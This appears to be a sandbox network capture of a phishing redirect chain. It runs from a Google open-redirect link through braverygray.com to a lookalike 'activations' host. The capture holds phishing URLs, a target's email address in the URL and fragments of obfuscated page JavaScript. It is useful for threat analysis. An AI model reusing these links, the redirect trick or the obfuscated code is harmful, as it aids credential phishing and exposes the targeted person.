2024-12-20 19:30:48 UTC	462	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 31 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 31 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2e 6d 78 2f 75 72 6c 3f 6f 62 3d 70 6b 6d 63 65 6b 77 37 62 6c 6a 62 4d 32 64 57 42 75 75 56 37 69 63 31 4b 46 67 48 26 61 6d 70 3b 61 77 3d 66 5f 72 61 6e 64 5f 73 74 72 69 6e 67 5f 6c 6f 77 65 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>301 Moved</TITLE></HEAD><BODY><H1>301 Moved</H1>The document has moved<A HREF="https://www.google.com.mx/url?ob=pkmcekw7bljbM2dWBuuV7ic1KFgH&aw=f_rand_string_lowe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49719	142.250.181.131	443	6516	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 19:30:50 UTC	1016	OUT	GET /url?ob=pkmcekw7bljbM2dWBuuV7ic1KFgH&aw=f_rand_string_lowercase(8)n9QXkBk0w4OyBDvUpuk&sa=t&whi=f_rand_string_lowercase(8)zOPGXNRztppHiTbPIt5f&url=amp%2Fbraverygray.com/.dd/KcxwjqsanE-SUREDANN-bXdlYmJAd2luZHNvcmhvbWVzdHguY29t HTTP/1.1 Host: www.google.com.mx Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIk6HLAQiFoM0BCNy9zQEIucrNAQiK080BCMfUzQEIodbNAQio2M0BCPnA1BUYwcvMARi60s0BGMXYzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-20 19:30:51 UTC	1066	IN	HTTP/1.1 302 Found Location: https://www.google.com.mx/amp/braverygray.com/.dd/KcxwjqsanE-SUREDANN-bXdlYmJAd2luZHNvcmhvbWVzdHguY29t Cache-Control: private Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-xD4POHxCs-PAHH9v1HXJ6A' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other Permissions-Policy: unload=() P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Date: Fri, 20 Dec 2024 19:30:51 GMT Server: gws Content-Length: 299 X-XSS-Protection: 0 Set-Cookie: NID=520=VUvrXt8kQxKIDa0UQ4sEvOreZpnVtggySdjxhXKYcIYvuWNL4YnfPN_FjaecROyQPQPOfFr24aKJLpT4gLdH78I3fU7zxwMo6YgS5UNBIAsPBi0vsoZSyamevqrVgnsuyhQYjc-OlavfUuPtbGaZJKUA9GM0_VolTVYEwa3I9p96wrAF3K5-5OGR6_ZW21mFi-UdZA; expires=Sat, 21-Jun-2025 19:30:51 GMT; path=/; domain=.google.com.mx; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-20 19:30:51 UTC	299	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2e 6d 78 2f 61 6d 70 2f 62 72 61 76 65 72 79 67 72 61 79 2e 63 6f 6d 2f 2e 64 64 2f 4b 63 78 77 6a 71 73 61 6e 45 2d 53 55 52 45 44 41 4e 4e 2d 62 58 64 6c 59 6d 4a 41 64 32 6c 75 5a 48 4e 76 63 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://www.google.com.mx/amp/braverygray.com/.dd/KcxwjqsanE-SUREDANN-bXdlYmJAd2luZHNvc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49722	142.250.181.131	443	6516	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 19:30:53 UTC	1085	OUT	GET /amp/braverygray.com/.dd/KcxwjqsanE-SUREDANN-bXdlYmJAd2luZHNvcmhvbWVzdHguY29t HTTP/1.1 Host: www.google.com.mx Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIk6HLAQiFoM0BCNy9zQEIucrNAQiK080BCMfUzQEIodbNAQio2M0BCPnA1BUYwcvMARi60s0BGMXYzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=VUvrXt8kQxKIDa0UQ4sEvOreZpnVtggySdjxhXKYcIYvuWNL4YnfPN_FjaecROyQPQPOfFr24aKJLpT4gLdH78I3fU7zxwMo6YgS5UNBIAsPBi0vsoZSyamevqrVgnsuyhQYjc-OlavfUuPtbGaZJKUA9GM0_VolTVYEwa3I9p96wrAF3K5-5OGR6_ZW21mFi-UdZA
2024-12-20 19:30:54 UTC	848	IN	HTTP/1.1 302 Found Location: http://braverygray.com/.dd/KcxwjqsanE-SUREDANN-bXdlYmJAd2luZHNvcmhvbWVzdHguY29t Cache-Control: private X-Robots-Tag: noindex Content-Type: text/html; charset=UTF-8 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-A7j6lc16VpoSstzTbN6OkQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Permissions-Policy: unload=() Date: Fri, 20 Dec 2024 19:30:53 GMT Server: gws Content-Length: 276 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-20 19:30:54 UTC	276	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 62 72 61 76 65 72 79 67 72 61 79 2e 63 6f 6d 2f 2e 64 64 2f 4b 63 78 77 6a 71 73 61 6e 45 2d 53 55 52 45 44 41 4e 4e 2d 62 58 64 6c 59 6d 4a 41 64 32 6c 75 5a 48 4e 76 63 6d 68 76 62 57 56 7a 64 48 67 75 59 32 39 74 22 3e 68 65 72 65 3c 2f Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="http://braverygray.com/.dd/KcxwjqsanE-SUREDANN-bXdlYmJAd2luZHNvcmhvbWVzdHguY29t">here</

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49723	162.241.114.35	443	6516	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 19:30:55 UTC	714	OUT	GET /.dd/KcxwjqsanE-SUREDANN-bXdlYmJAd2luZHNvcmhvbWVzdHguY29t HTTP/1.1 Host: braverygray.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-20 19:30:56 UTC	282	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 19:30:55 GMT Server: Apache refresh: 6;url=https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/?777=mwebb%40windsorhomestx.com Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-12-20 19:30:56 UTC	461	IN	Data Raw: 31 63 36 0d 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 64 34 65 64 64 61 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 64 34 65 64 64 61 3b 20 63 6f 6c 6f 72 3a 20 23 31 35 35 37 32 34 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 38 70 78 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 34 30 30 70 78 3b 20 6d 61 72 67 69 6e 3a 20 32 30 70 78 20 61 75 74 6f 3b 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 69 6d 67 2e 69 63 6f 6e 73 38 2e Data Ascii: 1c6<div style="font-family: Arial, sans-serif; text-align: center; padding: 10px; border: 1px solid #d4edda; background-color: #d4edda; color: #155724; border-radius: 8px; max-width: 400px; margin: 20px auto;"> <img src="https://img.icons8.
2024-12-20 19:30:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49724	169.150.255.183	443	6516	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 19:30:57 UTC	602	OUT	GET /emoji/48/check-mark-emoji.png HTTP/1.1 Host: img.icons8.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://braverygray.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-20 19:30:58 UTC	641	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 19:30:58 GMT Content-Type: image/png Content-Length: 934 Connection: close access-control-allow-origin: * icon-id: sz8cPVwzLrMP icon-size: 48 icon-format: png last-modified: Fri, 29 Nov 2024 14:45:26 version: 0.0.29 from-mongo-cache: true from-redis-cache: false not-found-platform: false cache-control: public, max-age=302400 Strict-Transport-Security: max-age=15724800; includeSubDomains X-77-NZT: EgwBqZb/tgH30PoAAAwB1GY4EQG3DjQAAA X-77-NZT-Ray: 15b3c7111daa9788f2c56567dd69de07 X-77-Cache: HIT X-77-Age: 64208 Server: CDN77-Turbo X-77-POP: frankfurtDE Accept-Ranges: bytes
2024-12-20 19:30:58 UTC	934	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 30 00 00 00 30 08 06 00 00 00 57 02 f9 87 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 03 58 49 44 41 54 78 9c ed 98 ff 4b 13 61 1c c7 1f b3 34 cd b4 2c ad 14 32 cd 49 99 ab d6 b4 f3 cb 64 f3 f2 74 b3 e7 fc 3e a7 39 37 cd 5b 84 20 f4 1f 24 44 7f 40 bf 44 5f e8 b7 a0 90 28 c5 d2 2c 74 66 a5 a9 d9 74 2e dd ae cd 9b 41 89 05 8a d1 0f 19 e9 13 d3 b2 92 d4 c7 cd f2 84 7b c1 eb b7 bb f7 e7 fd dc 3d dc 1d 07 80 80 80 80 80 80 80 80 c0 1f 30 23 f4 21 83 93 7e c8 70 f4 25 3d 27 df 0c d6 13 8c 93 8e 64 38 f8 de e0 a4 d1 9c b0 f3 cc 3b b8 13 ac 07 2a 58 65 88 c1 09 ad bf ca cf c9 70 f0 f5 19 07 dc 0b f8 4c 35 ab 0c 64 38 ba 77 61 f9 df ee c4 5b d7 d6 02 7c a4 9a 55 fa 1a 38 d8 b2 78 f9 Data Ascii: PNGIHDR00WpHYsXIDATxKa4,2Idt>97[ $D@D_(,tft.A{=0#!~p%='d8;*XepL5d8wa[\|U8x

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49725	162.241.114.35	443	6516	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 19:30:59 UTC	642	OUT	GET /favicon.ico HTTP/1.1 Host: braverygray.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://braverygray.com/.dd/KcxwjqsanE-SUREDANN-bXdlYmJAd2luZHNvcmhvbWVzdHguY29t Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-20 19:31:00 UTC	164	IN	HTTP/1.1 404 Not Found Date: Fri, 20 Dec 2024 19:30:59 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-12-20 19:31:00 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49726	169.150.255.183	443	6516	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 19:30:59 UTC	367	OUT	GET /emoji/48/check-mark-emoji.png HTTP/1.1 Host: img.icons8.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-20 19:31:00 UTC	641	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 19:31:00 GMT Content-Type: image/png Content-Length: 934 Connection: close access-control-allow-origin: * icon-id: sz8cPVwzLrMP icon-size: 48 icon-format: png last-modified: Fri, 29 Nov 2024 14:45:26 version: 0.0.29 from-mongo-cache: true from-redis-cache: false not-found-platform: false cache-control: public, max-age=302400 Strict-Transport-Security: max-age=15724800; includeSubDomains X-77-NZT: EgwBqZb/tgH30voAAAwB1GY4EQG3DjQAAA X-77-NZT-Ray: 15b3c7112f86bbf0f4c56567d66eca0c X-77-Cache: HIT X-77-Age: 64210 Server: CDN77-Turbo X-77-POP: frankfurtDE Accept-Ranges: bytes
2024-12-20 19:31:00 UTC	934	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 30 00 00 00 30 08 06 00 00 00 57 02 f9 87 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 03 58 49 44 41 54 78 9c ed 98 ff 4b 13 61 1c c7 1f b3 34 cd b4 2c ad 14 32 cd 49 99 ab d6 b4 f3 cb 64 f3 f2 74 b3 e7 fc 3e a7 39 37 cd 5b 84 20 f4 1f 24 44 7f 40 bf 44 5f e8 b7 a0 90 28 c5 d2 2c 74 66 a5 a9 d9 74 2e dd ae cd 9b 41 89 05 8a d1 0f 19 e9 13 d3 b2 92 d4 c7 cd f2 84 7b c1 eb b7 bb f7 e7 fd dc 3d dc 1d 07 80 80 80 80 80 80 80 80 c0 1f 30 23 f4 21 83 93 7e c8 70 f4 25 3d 27 df 0c d6 13 8c 93 8e 64 38 f8 de e0 a4 d1 9c b0 f3 cc 3b b8 13 ac 07 2a 58 65 88 c1 09 ad bf ca cf c9 70 f0 f5 19 07 dc 0b f8 4c 35 ab 0c 64 38 ba 77 61 f9 df ee c4 5b d7 d6 02 7c a4 9a 55 fa 1a 38 d8 b2 78 f9 Data Ascii: PNGIHDR00WpHYsXIDATxKa4,2Idt>97[ $D@D_(,tft.A{=0#!~p%='d8;*XepL5d8wa[\|U8x

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49728	159.89.96.140	443	6516	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 19:31:05 UTC	761	OUT	GET /?777=mwebb%40windsorhomestx.com HTTP/1.1 Host: 0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://braverygray.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-20 19:31:06 UTC	181	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 20 Dec 2024 19:31:06 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding
2024-12-20 19:31:06 UTC	16200	IN	Data Raw: 33 66 34 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 66 75 6e 63 74 69 6f 6e 20 61 30 58 34 28 29 7b 76 61 72 20 4a 58 3d 5b 27 4d 61 74 68 27 2c 27 41 4d 66 58 58 27 2c 27 27 2c 27 70 61 67 65 58 4f 66 66 73 65 74 27 2c 27 63 68 72 6f 6d 65 27 2c 27 73 75 62 61 72 72 61 79 27 2c 27 72 65 64 75 63 65 27 2c 27 6f 41 53 51 4d 27 2c 27 65 78 70 27 2c 27 69 50 61 64 27 2c 27 67 63 51 4b 71 27 2c 27 4e 65 48 49 69 27 2c 27 44 49 41 4c 4f 47 27 2c 27 64 65 6c 61 79 46 61 6c 6c 62 61 63 6b 27 2c 27 62 62 75 65 48 27 2c 27 41 72 69 61 6c 5c 78 32 30 55 6e 69 63 6f 64 Data Ascii: 3f40<!DOCTYPE html><html lang="en"> <head> <script type="text/javascript"> function a0X4(){var JX=['Math','AMfXX','','pageXOffset','chrome','subarray','reduce','oASQM','exp','iPad','gcQKq','NeHIi','DIALOG','delayFallback','bbueH','Arial\x20Unicod
2024-12-20 19:31:06 UTC	16384	IN	Data Raw: 34 30 30 30 0d 0a 69 64 67 65 74 2d 71 75 61 6e 27 2c 27 77 72 69 74 61 62 6c 65 27 2c 27 54 6f 75 63 68 45 76 65 6e 74 27 2c 27 73 74 72 69 6e 67 69 66 79 27 2c 27 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 27 2c 27 69 50 68 6f 6e 65 27 2c 27 46 58 55 42 50 27 2c 27 73 6f 6d 65 74 68 69 6e 67 27 2c 27 55 4c 43 43 50 27 2c 27 28 70 72 65 66 65 72 73 2d 63 6f 6e 74 72 61 73 74 3a 5c 78 32 30 27 2c 27 5a 57 41 64 6f 62 65 46 27 2c 27 73 79 6d 62 6f 6c 2d 74 6f 2d 73 74 72 69 6e 67 2d 72 65 67 69 73 74 72 79 27 2c 27 51 4f 62 6a 65 63 74 27 2c 27 31 31 38 56 63 50 78 64 50 27 2c 27 2e 73 79 67 6e 61 6c 32 34 2d 67 64 70 72 2d 6d 6f 64 61 6c 2d 77 72 61 70 27 2c 27 7a 6e 4c 61 54 27 2c 27 27 2c 27 73 74 61 72 74 27 2c 27 23 62 61 63 6b 2d 74 6f 70 27 2c 27 23 Data Ascii: 4000idget-quan','writable','TouchEvent','stringify','getPrototypeOf','iPhone','FXUBP','something','ULCCP','(prefers-contrast:\x20','ZWAdobeF','symbol-to-string-registry','QObject','118VcPxdP','.sygnal24-gdpr-modal-wrap','znLaT','','start','#back-top','#
2024-12-20 19:31:06 UTC	8	IN	Data Raw: 65 78 70 6f 72 74 0d 0a Data Ascii: export
2024-12-20 19:31:06 UTC	16384	IN	Data Raw: 37 35 32 35 0d 0a 73 27 5d 3d 51 54 28 6b 79 28 30 78 31 63 39 29 29 3f 6b 79 28 30 78 34 62 39 29 3a 51 54 28 6b 79 28 30 78 31 65 37 29 29 3f 6b 79 28 30 78 31 38 38 29 3a 51 54 28 6b 79 28 30 78 33 32 66 29 29 3f 6b 79 28 30 78 34 30 34 29 3a 51 54 28 6b 79 28 30 78 65 65 29 29 3f 27 4e 4f 44 45 27 3a 51 59 5b 6b 79 28 30 78 33 65 31 29 5d 26 26 6b 79 28 30 78 31 34 34 29 3d 3d 74 79 70 65 6f 66 20 42 75 6e 5b 6b 79 28 30 78 33 66 32 29 5d 3f 6b 79 28 30 78 34 62 39 29 3a 51 59 5b 6b 79 28 30 78 31 31 34 29 5d 26 26 6b 79 28 30 78 32 37 65 29 3d 3d 74 79 70 65 6f 66 20 44 65 6e 6f 5b 6b 79 28 30 78 33 66 32 29 5d 3f 6b 79 28 30 78 34 30 34 29 3a 6b 79 28 30 78 33 62 30 29 3d 3d 3d 51 68 28 51 59 5b 6b 79 28 30 78 33 62 30 29 5d 29 3f 27 4e 4f 44 45 27 Data Ascii: 7525s']=QT(ky(0x1c9))?ky(0x4b9):QT(ky(0x1e7))?ky(0x188):QT(ky(0x32f))?ky(0x404):QT(ky(0xee))?'NODE':QY[ky(0x3e1)]&&ky(0x144)==typeof Bun[ky(0x3f2)]?ky(0x4b9):QY[ky(0x114)]&&ky(0x27e)==typeof Deno[ky(0x3f2)]?ky(0x404):ky(0x3b0)===Qh(QY[ky(0x3b0)])?'NODE'
2024-12-20 19:31:06 UTC	13613	IN	Data Raw: 51 6d 3f 51 43 28 51 41 2c 77 58 28 30 78 31 66 34 29 2c 51 4f 29 3a 28 51 4d 3d 21 30 78 30 2c 51 76 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 77 75 3d 77 58 3b 69 66 28 27 4d 73 68 52 42 27 3d 3d 3d 77 75 28 30 78 61 35 29 29 7b 66 6f 72 28 76 61 72 20 6a 32 3d 27 44 4f 4d 5c 78 32 30 62 6c 6f 63 6b 65 72 73 5c 78 32 30 64 65 62 75 67 3a 5c 78 30 61 60 60 60 27 2c 6a 33 3d 30 78 30 2c 6a 34 3d 51 6d 5b 77 75 28 30 78 31 31 32 29 5d 28 51 5a 29 3b 6a 33 3c 6a 34 5b 77 75 28 30 78 65 30 29 5d 3b 6a 33 2b 2b 29 7b 76 61 72 20 6a 35 3d 6a 34 5b 6a 33 5d 3b 6a 32 2b 3d 27 5c 78 30 61 27 5b 77 75 28 30 78 33 63 64 29 5d 28 6a 35 2c 27 3a 27 29 3b 66 6f 72 28 76 61 72 20 6a 36 3d 30 78 30 2c 6a 37 3d 6a 35 5b 6a 35 5d 3b 6a 36 3c 6a 37 5b 77 75 28 30 78 Data Ascii: Qm?QC(QA,wX(0x1f4),QO):(QM=!0x0,Qv=function(){var wu=wX;if('MshRB'===wu(0xa5)){for(var j2='DOM\x20blockers\x20debug:\x0a```',j3=0x0,j4=Qm[wu(0x112)](QZ);j3<j4[wu(0xe0)];j3++){var j5=j4[j3];j2+='\x0a'[wu(0x3cd)](j5,':');for(var j6=0x0,j7=j5[j5];j6<j7[wu(0x
